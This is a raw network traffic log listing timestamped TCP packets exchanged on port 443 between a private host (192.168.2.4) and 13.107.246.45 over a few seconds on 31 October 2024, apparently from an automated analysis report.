Oct 31, 2024 17:27:36.218533039 CET	63036	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.218539953 CET	443	63036	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.221513987 CET	63041	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.221549988 CET	443	63041	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.221648932 CET	63041	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.221821070 CET	63041	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.221839905 CET	443	63041	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.239427090 CET	443	63037	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.239532948 CET	443	63037	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.239610910 CET	63037	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.239640951 CET	443	63037	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.239665031 CET	443	63037	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.239712000 CET	63037	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.239927053 CET	63037	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.239943981 CET	443	63037	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.239953995 CET	63037	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.239959955 CET	443	63037	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.243151903 CET	63042	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.243176937 CET	443	63042	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.243267059 CET	63042	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.243415117 CET	63042	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.243424892 CET	443	63042	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.331620932 CET	443	63039	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.331697941 CET	443	63039	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.331803083 CET	63039	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.332056999 CET	63039	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.332082033 CET	443	63039	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.332094908 CET	63039	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.332103014 CET	443	63039	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.332386971 CET	443	63038	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.333374977 CET	443	63038	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.333430052 CET	63038	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.333481073 CET	63038	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.333503008 CET	443	63038	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.333515882 CET	63038	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.333522081 CET	443	63038	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.335290909 CET	63043	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.335325003 CET	443	63043	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.335392952 CET	63043	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.335524082 CET	63043	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.335534096 CET	443	63043	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.335903883 CET	63044	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.335943937 CET	443	63044	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.336002111 CET	63044	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.336124897 CET	63044	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.336138964 CET	443	63044	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.831202984 CET	443	63040	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.831938982 CET	63040	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.831967115 CET	443	63040	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.832427979 CET	63040	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.832433939 CET	443	63040	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.950917959 CET	443	63041	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.951580048 CET	63041	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.951627016 CET	443	63041	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.952090025 CET	63041	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.952102900 CET	443	63041	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.960613966 CET	443	63040	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.960756063 CET	443	63040	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.960798979 CET	443	63040	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.960804939 CET	63040	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.960855961 CET	63040	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.960928917 CET	63040	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.960942030 CET	443	63040	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.960953951 CET	63040	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.960963011 CET	443	63040	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.963844061 CET	63045	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.963942051 CET	443	63045	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.964041948 CET	63045	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.964235067 CET	63045	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.964268923 CET	443	63045	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.981517076 CET	443	63042	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.981981993 CET	63042	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.981995106 CET	443	63042	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.982456923 CET	63042	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.982461929 CET	443	63042	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.074300051 CET	443	63043	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.074486971 CET	443	63044	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.074884892 CET	63043	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.074918985 CET	443	63043	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.075021982 CET	63044	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.075054884 CET	443	63044	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.075556993 CET	63043	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.075567961 CET	443	63043	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.075597048 CET	63044	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.075603962 CET	443	63044	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.080007076 CET	443	63041	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.080141068 CET	443	63041	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.080207109 CET	63041	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.080351114 CET	63041	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.080384970 CET	443	63041	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.080432892 CET	63041	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.080447912 CET	443	63041	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.083610058 CET	63046	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.083651066 CET	443	63046	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.083723068 CET	63046	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.083892107 CET	63046	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.083901882 CET	443	63046	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.115901947 CET	443	63042	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.115981102 CET	443	63042	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.116050959 CET	63042	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.116074085 CET	443	63042	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.116096020 CET	443	63042	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.116149902 CET	63042	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.116421938 CET	63042	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.116439104 CET	443	63042	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.116451025 CET	63042	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.116456032 CET	443	63042	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.120110989 CET	63047	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.120168924 CET	443	63047	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.120271921 CET	63047	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.120409966 CET	63047	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.120439053 CET	443	63047	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.204437971 CET	443	63044	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.204520941 CET	443	63044	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.204574108 CET	63044	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.204894066 CET	443	63043	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.204963923 CET	63044	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.204982996 CET	443	63044	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.204994917 CET	63044	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.205001116 CET	443	63044	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.205059052 CET	443	63043	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.205112934 CET	63043	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.205301046 CET	63043	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.205341101 CET	443	63043	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.205364943 CET	63043	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.205378056 CET	443	63043	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.208622932 CET	63048	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.208667994 CET	443	63048	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.208740950 CET	63048	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.209208012 CET	63049	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.209285975 CET	443	63049	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.209346056 CET	63048	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.209352970 CET	63049	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.209358931 CET	443	63048	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.209441900 CET	63049	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.209477901 CET	443	63049	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.716211081 CET	443	63045	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.716768980 CET	63045	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.716805935 CET	443	63045	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.717286110 CET	63045	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.717292070 CET	443	63045	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.827634096 CET	443	63046	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.828169107 CET	63046	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.828191996 CET	443	63046	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.828653097 CET	63046	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.828668118 CET	443	63046	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.849924088 CET	443	63045	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.850094080 CET	443	63045	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.850155115 CET	63045	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.850265980 CET	63045	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.850291967 CET	443	63045	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.850308895 CET	63045	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.850315094 CET	443	63045	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.852066994 CET	443	63047	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.852480888 CET	63047	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.852490902 CET	443	63047	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.852958918 CET	63047	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.852966070 CET	443	63047	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.853296995 CET	63050	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.853348970 CET	443	63050	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.853420973 CET	63050	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.853559017 CET	63050	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.853566885 CET	443	63050	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.949342012 CET	443	63049	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.953108072 CET	443	63048	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.953965902 CET	63049	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.954003096 CET	443	63049	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.954477072 CET	63049	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.954483986 CET	443	63049	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.954754114 CET	63048	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.954782963 CET	443	63048	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.955132961 CET	63048	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.955138922 CET	443	63048	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.980988026 CET	443	63047	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.981137991 CET	443	63047	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.981208086 CET	63047	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.981348038 CET	63047	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.981364012 CET	443	63047	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.981375933 CET	63047	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.981381893 CET	443	63047	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.984028101 CET	63051	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.984062910 CET	443	63051	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:37.984133005 CET	63051	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.984391928 CET	63051	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:37.984409094 CET	443	63051	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.000261068 CET	443	63046	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.000355005 CET	443	63046	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.000402927 CET	63046	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.000411034 CET	443	63046	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.000448942 CET	63046	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.000556946 CET	63046	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.000556946 CET	63046	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.000576973 CET	443	63046	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.000588894 CET	443	63046	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.003247023 CET	63052	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.003283978 CET	443	63052	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.003376007 CET	63052	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.003511906 CET	63052	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.003525019 CET	443	63052	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.081902027 CET	443	63049	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.081986904 CET	443	63049	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.082046986 CET	63049	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.082309008 CET	63049	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.082329988 CET	443	63049	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.082345009 CET	63049	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.082351923 CET	443	63049	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.085408926 CET	63053	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.085443020 CET	443	63053	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.085509062 CET	63053	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.086111069 CET	63053	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.086122990 CET	443	63053	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.090534925 CET	443	63048	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.090573072 CET	443	63048	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.090624094 CET	63048	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.090631962 CET	443	63048	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.090676069 CET	63048	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.091103077 CET	63048	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.091123104 CET	443	63048	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.091133118 CET	63048	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.091137886 CET	443	63048	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.095633984 CET	63054	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.095658064 CET	443	63054	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.095733881 CET	63054	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.095963001 CET	63054	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.095973015 CET	443	63054	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.588628054 CET	443	63050	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.589279890 CET	63050	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.589314938 CET	443	63050	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.589843988 CET	63050	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.589854002 CET	443	63050	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.724380970 CET	443	63050	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.724420071 CET	443	63050	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.724476099 CET	443	63050	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.724507093 CET	63050	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.724553108 CET	63050	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.724845886 CET	63050	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.724865913 CET	443	63050	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.724875927 CET	63050	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.724880934 CET	443	63050	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.730145931 CET	63055	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.730205059 CET	443	63055	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.730290890 CET	63055	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.730443001 CET	63055	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.730463028 CET	443	63055	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.731178999 CET	443	63051	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.731627941 CET	63051	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.731657028 CET	443	63051	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.732125998 CET	63051	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.732134104 CET	443	63051	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.734735012 CET	443	63052	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.735032082 CET	63052	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.735055923 CET	443	63052	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.735460997 CET	63052	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.735470057 CET	443	63052	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.831464052 CET	443	63053	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.832235098 CET	63053	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.832273006 CET	443	63053	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.832746983 CET	63053	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.832756042 CET	443	63053	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.843823910 CET	443	63054	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.844321966 CET	63054	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.844346046 CET	443	63054	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.844722986 CET	63054	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.844728947 CET	443	63054	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.864403963 CET	443	63052	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.865259886 CET	443	63052	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.865328074 CET	63052	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.865376949 CET	63052	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.865392923 CET	443	63052	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.865403891 CET	63052	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.865408897 CET	443	63052	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.865462065 CET	443	63051	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.865617037 CET	443	63051	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.865701914 CET	63051	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.865757942 CET	63051	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.865784883 CET	443	63051	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.865799904 CET	63051	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.865808010 CET	443	63051	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.868659019 CET	63056	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.868685007 CET	443	63056	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.868731022 CET	63057	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.868769884 CET	443	63057	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.868777037 CET	63056	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.868817091 CET	63057	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.868956089 CET	63056	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.868969917 CET	443	63056	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.868997097 CET	63057	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.869010925 CET	443	63057	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.961776972 CET	443	63053	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.961853027 CET	443	63053	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.961910963 CET	63053	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.962130070 CET	63053	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.962157965 CET	443	63053	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.962173939 CET	63053	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.962182999 CET	443	63053	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.965164900 CET	63058	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.965214014 CET	443	63058	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.965282917 CET	63058	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.965445042 CET	63058	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.965461969 CET	443	63058	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.977554083 CET	443	63054	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.977585077 CET	443	63054	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.977623940 CET	443	63054	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.977632999 CET	63054	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.977663040 CET	63054	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.977854013 CET	63054	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.977865934 CET	443	63054	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.977895975 CET	63054	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.977900982 CET	443	63054	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.980174065 CET	63059	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.980216026 CET	443	63059	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:38.980274916 CET	63059	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.980437994 CET	63059	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:38.980463982 CET	443	63059	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.468477964 CET	443	63055	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.470638990 CET	63055	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.470675945 CET	443	63055	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.471126080 CET	63055	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.471133947 CET	443	63055	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.598181963 CET	443	63055	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.598244905 CET	443	63055	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.598298073 CET	63055	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.598606110 CET	63055	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.598628044 CET	443	63055	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.598639965 CET	63055	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.598644972 CET	443	63055	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.601571083 CET	63060	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.601593971 CET	443	63060	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.601671934 CET	63060	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.601938963 CET	63060	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.601953030 CET	443	63060	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.606942892 CET	443	63057	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.607374907 CET	63057	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.607405901 CET	443	63057	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.607853889 CET	63057	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.607860088 CET	443	63057	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.641465902 CET	443	63056	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.642164946 CET	63056	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:39.642235041 CET	443	63056	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:39.642770052 CET	63056	443	192.168.2.4	13.107.246.45
